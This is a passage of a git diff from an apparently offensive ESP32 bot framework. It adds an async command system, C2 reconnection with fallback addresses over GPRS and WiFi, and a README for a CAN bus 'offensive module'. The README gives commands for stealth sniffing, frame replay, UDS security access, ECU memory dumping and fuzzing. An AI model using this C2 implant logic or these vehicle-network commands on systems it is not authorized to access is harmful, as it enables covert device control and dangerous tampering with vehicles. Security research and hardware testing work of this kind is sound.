argc; a++) { - /* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */ - argv_ptrs[a] = (char *)cmd->argv[a]; + for (int a = 0; a < effective_argc; a++) { + argv_ptrs[a] = (char *)cmd->argv[a + sub_offset]; } /* Deep-copy pour rendre sync aussi safe que async */ char **argv_copy = NULL; char *arena = NULL; - if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null)) + if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null)) return; - c->handler(argc, argv_copy, reqid_or_null, c->ctx); + c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx); free(argv_copy); free(arena); diff --git a/espilon_bot/components/core/command_async.c b/espilon_bot/components/core/command_async.c new file mode 100644 index 0000000..855c2c7 --- /dev/null +++ b/espilon_bot/components/core/command_async.c @@ -0,0 +1,204 @@ +#include "utils.h" +#include "esp_log.h" +#include "esp_timer.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/queue.h" +#include +#include + +static const char *TAG = "CMD_ASYNC"; + +/* ========================================================= + * Configuration + * ========================================================= */ +#ifndef CONFIG_ASYNC_WORKER_COUNT +#define CONFIG_ASYNC_WORKER_COUNT 2 +#endif + +#ifndef CONFIG_ASYNC_QUEUE_DEPTH +#define CONFIG_ASYNC_QUEUE_DEPTH 8 +#endif + +#define ASYNC_WORKER_STACK 4096 +#define WATCHDOG_INTERVAL_MS 5000 +#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */ + +/* ========================================================= + * Async job structure + * ========================================================= */ +typedef struct { + const command_t *cmd; + int argc; + char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN]; + char *argv_ptrs[MAX_ASYNC_ARGS]; + char request_id[64]; +} async_job_t; + +/* ========================================================= + * Per-worker state (watchdog tracking) + * ========================================================= */ +typedef struct { + volatile int64_t start_us; /* 0 = idle */ + volatile bool alerted; /* already reported to C2 */ + const char *cmd_name; /* current command name */ + char request_id[64]; +} worker_state_t; + +static QueueHandle_t async_queue; +static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT]; + +/* ========================================================= + * Watchdog task — monitors workers for stuck commands + * ========================================================= */ +static void watchdog_task(void *arg) +{ + while (1) { + vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS)); + + int64_t now = esp_timer_get_time(); + + for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) { + worker_state_t *ws = &worker_states[i]; + + if (ws->start_us == 0 || ws->alerted) + continue; + + int64_t elapsed = now - ws->start_us; + if (elapsed > WATCHDOG_TIMEOUT_US) { + int secs = (int)(elapsed / 1000000LL); + char buf[128]; + snprintf(buf, sizeof(buf), + "Worker %d stuck: '%s' running for %ds", + i, ws->cmd_name ? ws->cmd_name : "?", secs); + + ESP_LOGW(TAG, "%s", buf); + msg_error("cmd_async", buf, + ws->request_id[0] ? ws->request_id : NULL); + + ws->alerted = true; + } + } + } +} + +/* ========================================================= + * Worker task (multiple instances share the same queue) + * ========================================================= */ +static void async_worker(void *arg) +{ + int worker_id = (int)(intptr_t)arg; + worker_state_t *ws = &worker_states[worker_id]; + async_job_t job; + + while (1) { + if (xQueueReceive(async_queue, &job, portMAX_DELAY)) { + /* Recompute argv_ptrs to point into THIS copy's argv buffers. + * xQueueReceive copies the struct by value, so the old + * pointers (set at enqueue time) are now dangling. */ + for (int i = 0; i < job.argc; i++) { + job.argv_ptrs[i] = job.argv[i]; + } + + /* Mark worker as busy for watchdog */ + ws->cmd_name = job.cmd->name; + strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1); + ws->alerted = false; + ws->start_us = esp_timer_get_time(); + + ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name); + + job.cmd->handler( + job.argc, + job.argv_ptrs, + job.request_id[0] ? job.request_id : NULL, + job.cmd->ctx + ); + + /* Mark worker as idle */ + ws->start_us = 0; + } + } +} + +/* ========================================================= + * Init async system + * ========================================================= */ +void command_async_init(void) +{ + memset(worker_states, 0, sizeof(worker_states)); + + async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t)); + if (!async_queue) { + ESP_LOGE(TAG, "Failed to create async queue"); + return; + } + + for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) { + char name[16]; + snprintf(name, sizeof(name), "cmd_async_%d", i); + + BaseType_t ret = xTaskCreatePinnedToCore( + async_worker, + name, + ASYNC_WORKER_STACK, + (void *)(intptr_t)i, + 5, + NULL, + 1 /* Core 1 */ + ); + + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create worker %d", i); + } + } + + /* Watchdog: low priority, small stack, Core 0 */ + xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048, + NULL, 2, NULL, 0); + + ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)", + CONFIG_ASYNC_WORKER_COUNT); +} + +/* ========================================================= + * Enqueue async command + * ========================================================= */ +void command_async_enqueue(const command_t *cmd, + const c2_Command *pb_cmd, + int argv_offset) +{ + if (!cmd || !pb_cmd) return; + + async_job_t job = {0}; + + job.cmd = cmd; + job.argc = pb_cmd->argv_count - argv_offset; + if (job.argc > MAX_ASYNC_ARGS) + job.argc = MAX_ASYNC_ARGS; + if (job.argc < 0) + job.argc = 0; + + for (int i = 0; i < job.argc; i++) { + strncpy(job.argv[i], + pb_cmd->argv[i + argv_offset], + MAX_ASYNC_ARG_LEN - 1); + job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0'; + job.argv_ptrs[i] = job.argv[i]; + } + + if (pb_cmd->request_id[0]) { + strncpy(job.request_id, + pb_cmd->request_id, + sizeof(job.request_id) - 1); + job.request_id[sizeof(job.request_id) - 1] = '\0'; + } + + if (xQueueSend(async_queue, &job, 0) != pdTRUE) { + char buf[128]; + snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'", + cmd->name); + ESP_LOGE(TAG, "%s", buf); + msg_error("cmd_async", buf, pb_cmd->request_id); + } +} diff --git a/espilon_bot/components/core/crypto.c b/espilon_bot/components/core/crypto.c index b5ca5bd..5ed564f 100644 --- a/espilon_bot/components/core/crypto.c +++ b/espilon_bot/components/core/crypto.c @@ -18,7 +18,6 @@ #include "c2.pb.h" #include "utils.h" -#include "command.h" static const char *TAG = "CRYPTO"; @@ -289,7 +288,7 @@ bool c2_decode_and_exec(const char *frame) /* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */ char tmp[1024]; - size_t n = strnlen(frame, sizeof(tmp) - 1); + size_t n = strnlen(frame, sizeof(tmp) - 2); memcpy(tmp, frame, n); tmp[n] = '\0'; while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) { diff --git a/espilon_bot/components/core/event_format.h b/espilon_bot/components/core/event_format.h new file mode 100644 index 0000000..e92f91c --- /dev/null +++ b/espilon_bot/components/core/event_format.h @@ -0,0 +1,48 @@ +/* + * event_format.h + * Generic wire format for security events (honeypot, fakeAP, etc.). + * + * Wire format: EVT||||:>| + * Parsed by HpStore.parse_and_store() on the C2 side. + */ +#pragma once + +#include +#include +#include "utils.h" + +/** + * Send a security event to the C2 via msg_data(). + * + * @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN" + * @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL" + * @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00" + * @param src_ip Source IP address + * @param src_port Source port (0 if unknown) + * @param dst_port Destination port + * @param detail Free-form detail, e.g. "user='admin' pass='1234'" + * @param request_id NULL or request_id for response routing + * @return true on success, false on truncation or send failure + */ +static inline bool event_send( + const char *event_type, + const char *severity, + const char *src_mac, + const char *src_ip, + int src_port, + int dst_port, + const char *detail, + const char *request_id +) { + char buf[256]; + int len = snprintf(buf, sizeof(buf), + "EVT|%s|%s|%s|%s:%d>%d|%s", + event_type, severity, src_mac, + src_ip, src_port, dst_port, + detail ? detail : ""); + + if (len <= 0 || len >= (int)sizeof(buf)) + return false; + + return msg_data("EVT", buf, (size_t)len, true, request_id); +} \ No newline at end of file diff --git a/espilon_bot/components/core/gprs.c b/espilon_bot/components/core/gprs.c index be36983..b58fd7a 100644 --- a/espilon_bot/components/core/gprs.c +++ b/espilon_bot/components/core/gprs.c @@ -11,10 +11,9 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" -#include "utils.h" /* CONFIG_*, base64, crypto */ -#include "command.h" /* process_command */ +#include "utils.h" /* CONFIG_*, base64, crypto, command */ -#ifdef CONFIG_NETWORK_GPRS +#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK) static const char *TAG = "GPRS"; @@ -158,22 +157,19 @@ bool connect_gprs(void) * TCP * ============================================================ */ -bool connect_tcp(void) +bool connect_tcp_to(const char *ip, int port) { char buf[BUFF_SIZE]; char cmd[128]; - ESP_LOGI(TAG, "TCP connect %s:%d", - CONFIG_SERVER_IP, - CONFIG_SERVER_PORT); + ESP_LOGI(TAG, "TCP connect %s:%d", ip, port); send_at_command("AT+CIPMUX=0"); at_wait_ok(buf, sizeof(buf), 2000); snprintf(cmd, sizeof(cmd), "AT+CIPSTART=\"TCP\",\"%s\",\"%d\"", - CONFIG_SERVER_IP, - CONFIG_SERVER_PORT); + ip, port); send_at_command(cmd); if (!at_read(buf, sizeof(buf), 15000)) @@ -188,6 +184,11 @@ bool connect_tcp(void) return false; } +bool connect_tcp(void) +{ + return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT); +} + /* ============================================================ * RX HELPERS * ============================================================ */ @@ -230,10 +231,8 @@ void gprs_rx_poll(void) rx_len += r; rx_buf[rx_len] = '\0'; - ESP_LOGW(TAG, "RAW UART RX (%d bytes buffered)", rx_len); - ESP_LOGW(TAG, "----------------------------"); - ESP_LOGW(TAG, "%s", rx_buf); - ESP_LOGW(TAG, "----------------------------"); + ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len); + ESP_LOGD(TAG, "%s", rx_buf); /* nettoyer CR/LF */ for (size_t i = 0; i < rx_len; i++) { @@ -284,33 +283,6 @@ bool gprs_send(const void *buf, size_t len) return true; } -/* ============================================================ - * CLIENT TASK - * ============================================================ */ - -void gprs_client_task(void *pvParameters) -{ - ESP_LOGI(TAG, "GPRS client task started"); - - while (1) { - - if (!connect_gprs() || !connect_tcp()) { - ESP_LOGE(TAG, "Connection failed, retrying..."); - vTaskDelay(pdMS_TO_TICKS(5000)); - continue; - } - - /* Handshake identique WiFi */ - msg_info(TAG, CONFIG_DEVICE_ID, NULL); - ESP_LOGI(TAG, "Handshake sent"); - - while (1) { - gprs_rx_poll(); - vTaskDelay(pdMS_TO_TICKS(10)); - } - } -} - /* ============================================================ * CLOSE * ============================================================ */ @@ -322,4 +294,125 @@ void close_tcp_connection(void) send_at_command("AT+CIPSHUT"); } +/* ============================================================ + * CLIENT TASK (GPRS primary mode only) + * ============================================================ */ +#ifdef CONFIG_NETWORK_GPRS + +#ifdef CONFIG_MODULE_FALLBACK +#include "fb_config.h" +#include "fb_hunt.h" +extern atomic_bool fb_active; + +/* Try NVS C2 fallback addresses over GPRS */ +static bool try_gprs_fallback_c2s(void) +{ + fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS]; + int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS); + + for (int i = 0; i < count; i++) { + char ip_buf[48]; + int port = CONFIG_SERVER_PORT; + strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1); + ip_buf[sizeof(ip_buf) - 1] = '\0'; + + char *colon = strrchr(ip_buf, ':'); + if (colon) { + *colon = '\0'; + port = atoi(colon + 1); + if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT; + } + + ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port); + close_tcp_connection(); + if (connect_tcp_to(ip_buf, port)) { + ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port); + return true; + } + } + return false; +} +#endif /* CONFIG_MODULE_FALLBACK */ + +void gprs_client_task(void *pvParameters) +{ + ESP_LOGI(TAG, "GPRS client task started"); + + int tcp_fail_count = 0; +#ifdef CONFIG_FB_WIFI_FALLBACK + int gprs_dead_count = 0; +#endif + + while (1) { + +#ifdef CONFIG_MODULE_FALLBACK + /* If fallback hunt is active, wait for it to finish */ + while (fb_active) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } +#endif + + /* GPRS attach */ + if (!connect_gprs()) { + ESP_LOGE(TAG, "GPRS connection failed"); +#ifdef CONFIG_FB_WIFI_FALLBACK + gprs_dead_count++; + ESP_LOGW(TAG, "GPRS dead count: %d/%d", + gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD); + if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) { + ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt"); + fb_hunt_set_skip_gprs(true); + fb_hunt_trigger(); + gprs_dead_count = 0; + continue; + } +#endif + setup_modem(); + vTaskDelay(pdMS_TO_TICKS(5000)); + continue; + } +#ifdef CONFIG_FB_WIFI_FALLBACK + gprs_dead_count = 0; +#endif + + /* TCP connect to C2 */ + if (!connect_tcp()) { + tcp_fail_count++; + ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count); + +#ifdef CONFIG_MODULE_FALLBACK + if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) { + /* Level 1: try NVS C2 fallback addresses over GPRS */ + if (try_gprs_fallback_c2s()) { + tcp_fail_count = 0; + goto handshake; + } + /* Modem restart */ + ESP_LOGW(TAG, "All C2 unreachable — modem restart"); + close_tcp_connection(); + setup_modem(); + tcp_fail_count = 0; + } +#endif + vTaskDelay(pdMS_TO_TICKS(5000)); + continue; + } + tcp_fail_count = 0; + +#ifdef CONFIG_MODULE_FALLBACK + handshake: +#endif + /* Handshake */ + msg_info(TAG, CONFIG_DEVICE_ID, NULL); + ESP_LOGI(TAG, "Handshake sent"); + + while (1) { + gprs_rx_poll(); + vTaskDelay(pdMS_TO_TICKS(10)); + } + } +} + #endif /* CONFIG_NETWORK_GPRS */ + +#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */ diff --git a/espilon_bot/components/core/messages.c b/espilon_bot/components/core/messages.c index bb8c26e..ad2a911 100644 --- a/espilon_bot/components/core/messages.c +++ b/espilon_bot/components/core/messages.c @@ -38,7 +38,13 @@ extern SemaphoreHandle_t sock_mutex; while (len > 0) { int sent = lwip_write(current_sock, p, len); if (sent <= 0) { - ESP_LOGE(TAG, "lwip_write failed"); + ESP_LOGE(TAG, "lwip_write failed, disconnecting"); + xSemaphoreTake(sock_mutex, portMAX_DELAY); + if (sock == current_sock) { + lwip_close(sock); + sock = -1; + } + xSemaphoreGive(sock_mutex); return false; } p += sent; diff --git a/espilon_bot/components/core/nanoPB/c2.pb.h b/espilon_bot/components/core/nanoPB/c2.pb.h index 71ff49c..17017aa 100644 --- a/espilon_bot/components/core/nanoPB/c2.pb.h +++ b/espilon_bot/components/core/nanoPB/c2.pb.h @@ -23,7 +23,7 @@ typedef struct _c2_Command { char device_id[64]; char command_name[32]; pb_size_t argv_count; - char argv[8][64]; + char argv[8][256]; char request_id[64]; } c2_Command; @@ -98,7 +98,7 @@ extern const pb_msgdesc_t c2_AgentMessage_msg; /* Maximum encoded size of messages (where known) */ #define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size #define c2_AgentMessage_size 426 -#define c2_Command_size 683 +#define c2_Command_size 2227 #ifdef __cplusplus } /* extern "C" */ diff --git a/espilon_bot/components/core/process.c b/espilon_bot/components/core/process.c index b70ec9d..32a10c6 100644 --- a/espilon_bot/components/core/process.c +++ b/espilon_bot/components/core/process.c @@ -1,7 +1,6 @@ #include #include "c2.pb.h" -#include "command.h" #include "utils.h" #include "esp_log.h" diff --git a/espilon_bot/components/core/utils.h b/espilon_bot/components/core/utils.h index c20a652..27bab52 100644 --- a/espilon_bot/components/core/utils.h +++ b/espilon_bot/components/core/utils.h @@ -13,6 +13,7 @@ extern "C" { #include "sdkconfig.h" #include "esp_log.h" +#include "esp_err.h" /* >>> CRITIQUE <<< */ #include "c2.pb.h" /* c2_Command, c2_AgentMsgType */ @@ -149,42 +150,89 @@ void process_command_from_buffer( size_t len ); +/* ============================================================ + * COMMAND REGISTRY & DISPATCH + * ============================================================ */ + +#define MAX_COMMANDS 72 +#define MAX_ASYNC_ARGS 8 +#define MAX_ASYNC_ARG_LEN 64 + +typedef esp_err_t (*command_handler_t)( + int argc, + char **argv, + const char *request_id, + void *ctx +); + +typedef struct { + const char *name; + const char *sub; + const char *help; + int min_args; + int max_args; + command_handler_t handler; + void *ctx; + bool async; +} command_t; + +void command_register(const command_t *cmd); +void command_log_registry_summary(void); +void command_process_pb(const c2_Command *cmd); +void command_async_init(void); +void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset); + /* ============================================================ * WIFI * ============================================================ */ #ifdef CONFIG_NETWORK_WIFI void wifi_init(void); void tcp_client_task(void *pvParameters); +void wifi_pause_reconnect(void); +void wifi_resume_reconnect(void); +#endif + +/* Fallback: when true, WiFi.c skips its own reconnect logic */ +#include +extern atomic_bool fb_active; + +/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */ +#ifdef CONFIG_MODULE_FAKEAP +extern atomic_bool fakeap_active; #endif /* ============================================================ * GPRS * ============================================================ */ -#ifdef CONFIG_NETWORK_GPRS +#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK) #define BUFF_SIZE 1024 #define UART_NUM UART_NUM_1 -#define TXD_PIN 27 -#define RXD_PIN 26 -#define PWR_KEY 4 -#define PWR_EN 23 -#define RESET 5 -#define LED_GPIO 13 +#define TXD_PIN CONFIG_GPRS_TXD_PIN +#define RXD_PIN CONFIG_GPRS_RXD_PIN +#define PWR_KEY CONFIG_GPRS_PWR_KEY +#define PWR_EN CONFIG_GPRS_PWR_EN +#define RESET CONFIG_GPRS_RESET_PIN +#define LED_GPIO CONFIG_GPRS_LED_GPIO void setup_uart(void); void setup_modem(void); bool connect_gprs(void); bool connect_tcp(void); +bool connect_tcp_to(const char *ip, int port); bool gprs_send(const void *buf, size_t len); void gprs_rx_poll(void); void close_tcp_connection(void); -void gprs_client_task(void *pvParameters); void send_at_command(const char *cmd); #endif +#ifdef CONFIG_NETWORK_GPRS +void gprs_client_task(void *pvParameters); +#endif + #ifdef __cplusplus } diff --git a/espilon_bot/components/mod_canbus/CMakeLists.txt b/espilon_bot/components/mod_canbus/CMakeLists.txt new file mode 100644 index 0000000..673eb5c --- /dev/null +++ b/espilon_bot/components/mod_canbus/CMakeLists.txt @@ -0,0 +1,27 @@ +set(CANBUS_SRCS + cmd_canbus.c + canbus_driver.c + canbus_config.c +) + +if(CONFIG_CANBUS_ISO_TP) + list(APPEND CANBUS_SRCS canbus_isotp.c) +endif() + +if(CONFIG_CANBUS_UDS) + list(APPEND CANBUS_SRCS canbus_uds.c) +endif() + +if(CONFIG_CANBUS_OBD) + list(APPEND CANBUS_SRCS canbus_obd.c) +endif() + +if(CONFIG_CANBUS_FUZZ) + list(APPEND CANBUS_SRCS canbus_fuzz.c) +endif() + +idf_component_register( + SRCS ${CANBUS_SRCS} + INCLUDE_DIRS . + REQUIRES core nvs_flash freertos driver +) diff --git a/espilon_bot/components/mod_canbus/README.md b/espilon_bot/components/mod_canbus/README.md new file mode 100644 index 0000000..ea82c5d --- /dev/null +++ b/espilon_bot/components/mod_canbus/README.md @@ -0,0 +1,341 @@ +# CAN Bus Module (mod_canbus) + +Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay. + +> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal. + +--- + +## Table of Contents + +- [Hardware Requirements](#hardware-requirements) +- [Wiring](#wiring) +- [Configuration](#configuration) +- [Architecture](#architecture) +- [Commands Reference](#commands-reference) + - [Core Commands](#core-commands) + - [UDS Diagnostic Commands](#uds-diagnostic-commands) + - [OBD-II Commands](#obd-ii-commands) + - [Fuzzing Commands](#fuzzing-commands) +- [Frame Format](#frame-format) +- [C3PO Integration](#c3po-integration) +- [Usage Examples](#usage-examples) +- [Troubleshooting](#troubleshooting) + +--- + +## Hardware Requirements + +| Component | Role | Cost | +|-----------|------|------| +| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR | +| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR | + +Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`). + +--- + +## Wiring + +Default GPIO mapping (configurable via `idf.py menuconfig`): + +``` +MCP2515 Module ESP32 (VSPI) +────────────── ──────────── +VCC → 3.3V +GND → GND +CS → GPIO 5 +MOSI (SI) → GPIO 23 +MISO (SO) → GPIO 19 +SCK → GPIO 18 +INT → GPIO 4 (active low) +``` + +Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L). + +--- + +## Configuration + +Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**. + +### Kconfig Options + +| Option | Default | Description | +|--------|---------|-------------| +| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module | +| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI | +| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO | +| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO | +| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO | +| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO | +| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) | +| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module | +| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) | +| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) | +| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) | +| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) | +| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) | +| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) | +| `CANBUS_FUZZ` | y | CAN fuzzing engine | + +### Supported Bitrates + +| Bitrate | Use Case | 8 MHz | 16 MHz | +|---------|----------|-------|--------| +| 1 Mbps | High-speed CAN | - | Yes | +| 500 kbps | Standard automotive | Yes | Yes | +| 250 kbps | J1939 (trucks) | Yes | Yes | +| 125 kbps | Low-speed CAN | Yes | Yes | +| 100 kbps | Diagnostic | Yes | Yes | + +--- + +## Architecture + +``` +┌─────────────────────────────────────────────────────┐ +│ cmd_canbus.c — C2 command handlers (27 cmds)│ +│ ↕ │ +│ canbus_uds.c — UDS (ISO 14229) services │ +│ canbus_obd.c — OBD-II PID decoder │ +│ canbus_fuzz.c — Fuzzing engine │ +│ ↕ │ +│ canbus_isotp.c — ISO-TP (ISO 15765-2) │ +│ ↕ │ +│ canbus_driver.c — MCP2515 SPI driver + RX task │ +│ ↕ │ +│ canbus_config.c — NVS persistence │ +│ ↕ │ +│ ESP-IDF SPI Master — Hardware SPI bus │ +└─────────────────────────────────────────────────────┘ +``` + +### File Manifest + +| File | Lines | Layer | +|------|-------|-------| +| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR | +| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport | +| `canbus_uds.c/.h` | ~440 | Automotive diagnostics | +| `canbus_obd.c/.h` | ~390 | OBD-II PID decode | +| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine | +| `canbus_config.c/.h` | ~360 | NVS persistence | +| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration | +| **Total** | **~4350** | | + +### NVS Persistence + +Namespace: `"can_cfg"` + +| Key | Type | Content | +|-----|------|---------| +| `bitrate` | i32 | Saved CAN speed | +| `osc_mhz` | u8 | Oscillator frequency | +| `sw_filters` | blob | Up to 16 software filter IDs | +| `ecus` | blob | Discovered UDS ECU IDs | + +--- + +## Commands Reference + +### Core Commands + +| Command | Args | Async | Description | +|---------|------|-------|-------------| +| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` | +| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode | +| `can_send ` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` | +| `can_filter_add ` | 1 | No | Add software filter (pass only matching IDs) | +| `can_filter_del ` | 1 | No | Remove a software filter | +| `can_filter_list` | 0 | No | List active software filters | +| `can_filter_clear` | 0 | No | Clear all filters (accept everything) | +| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters | +| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) | +| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) | +| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 | +| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed | + +### UDS Diagnostic Commands + +*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)* + +| Command | Args | Async | Description | +|---------|------|-------|-------------| +| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF | +| `can_uds [data_hex]` | 2-3 | **Yes** | Raw UDS request | +| `can_uds_session ` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) | +| `can_uds_read ` | 2 | **Yes** | ReadDataByIdentifier | +| `can_uds_dump ` | 3 | **Yes** | ReadMemoryByAddress (streamed) | +| `can_uds_auth [level]` | 1-2 | **Yes** | SecurityAccess seed request | + +### OBD-II Commands + +*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)* + +| Command | Args | Async | Description | +|---------|------|-------|-------------| +| `can_obd ` | 1 | **Yes** | Query single PID, returns decoded value | +| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number | +| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes | +| `can_obd_supported` | 0 | **Yes** | List supported PIDs | +| `can_obd_monitor [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously | +| `can_obd_monitor_stop` | 0 | No | Stop monitoring | + +### Fuzzing Commands + +*Requires `CONFIG_CANBUS_FUZZ=y`* + +| Command | Args | Async | Description | +|---------|------|-------|-------------| +| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload | +| `can_fuzz_data [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID | +| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data | +| `can_fuzz_stop` | 0 | No | Stop fuzzing | + +--- + +## Frame Format + +Frames streamed to C2 use the format: + +``` +CAN|||| +``` + +**Example:** +``` +CAN|1708000123456|0x123|8|DEADBEEF01020304 +``` + +### Special Markers + +| Marker | Meaning | +|--------|---------| +| `SNIFF_END` | End of sniff session | +| `DUMP_START\|` | Beginning of frame dump | +| `DUMP_END` | End of frame dump | +| `UDS_RSP\|\|` | UDS response | +| `MEM_DUMP\|\|` | Start of memory dump | +| `MEM\|\|` | Memory block | +| `MEM_DUMP_END` | End of memory dump | +| `ECU\|\|` | Discovered ECU | + +--- + +## C3PO Integration + +### REST API + +CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max). + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` | +| `/api/can/stats` | GET | Frame stats. Params: `device_id` | +| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` | + +### TUI Commands + +From the C3PO interactive TUI: + +``` +can stats [device_id] — Frame count, unique CAN IDs +can frames [device_id] [limit] — Display last N frames +can clear — Clear frame store +``` + +### Transport Integration + +CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`. + +--- + +## Usage Examples + +### Basic Sniffing (Listen-Only) + +``` +> can_start 500000 listen # Start in stealth mode (no ACK on bus) +> can_sniff 30 # Stream frames for 30 seconds +> can_stop +``` + +### Record and Replay + +``` +> can_start 500000 listen +> can_record 60 # Record for 60 seconds +> can_stop + +> can_start 500000 normal # Switch to normal mode for TX +> can_replay 100 # Replay at real-time speed +``` + +### OBD-II Vehicle Diagnostics + +``` +> can_start 500000 # Standard automotive bitrate +> can_obd_supported # List what the car supports +> can_obd 0C # Engine RPM +> can_obd 0D # Vehicle speed (km/h) +> can_obd_vin # VIN number +> can_obd_dtc # Read trouble codes +> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms +``` + +### UDS ECU Exploration + +``` +> can_start 500000 +> can_scan_ecu # Find ECUs on bus +> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0 +> can_uds_read 0x7E0 F190 # Read VIN via DID +> can_uds_read 0x7E0 F191 # Hardware version +> can_uds_auth 0x7E0 1 # SecurityAccess level 1 +> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0 +``` + +### Fuzzing (Isolated Bus Only!) + +``` +> can_start 500000 +> can_fuzz_id 0x000 0x7FF 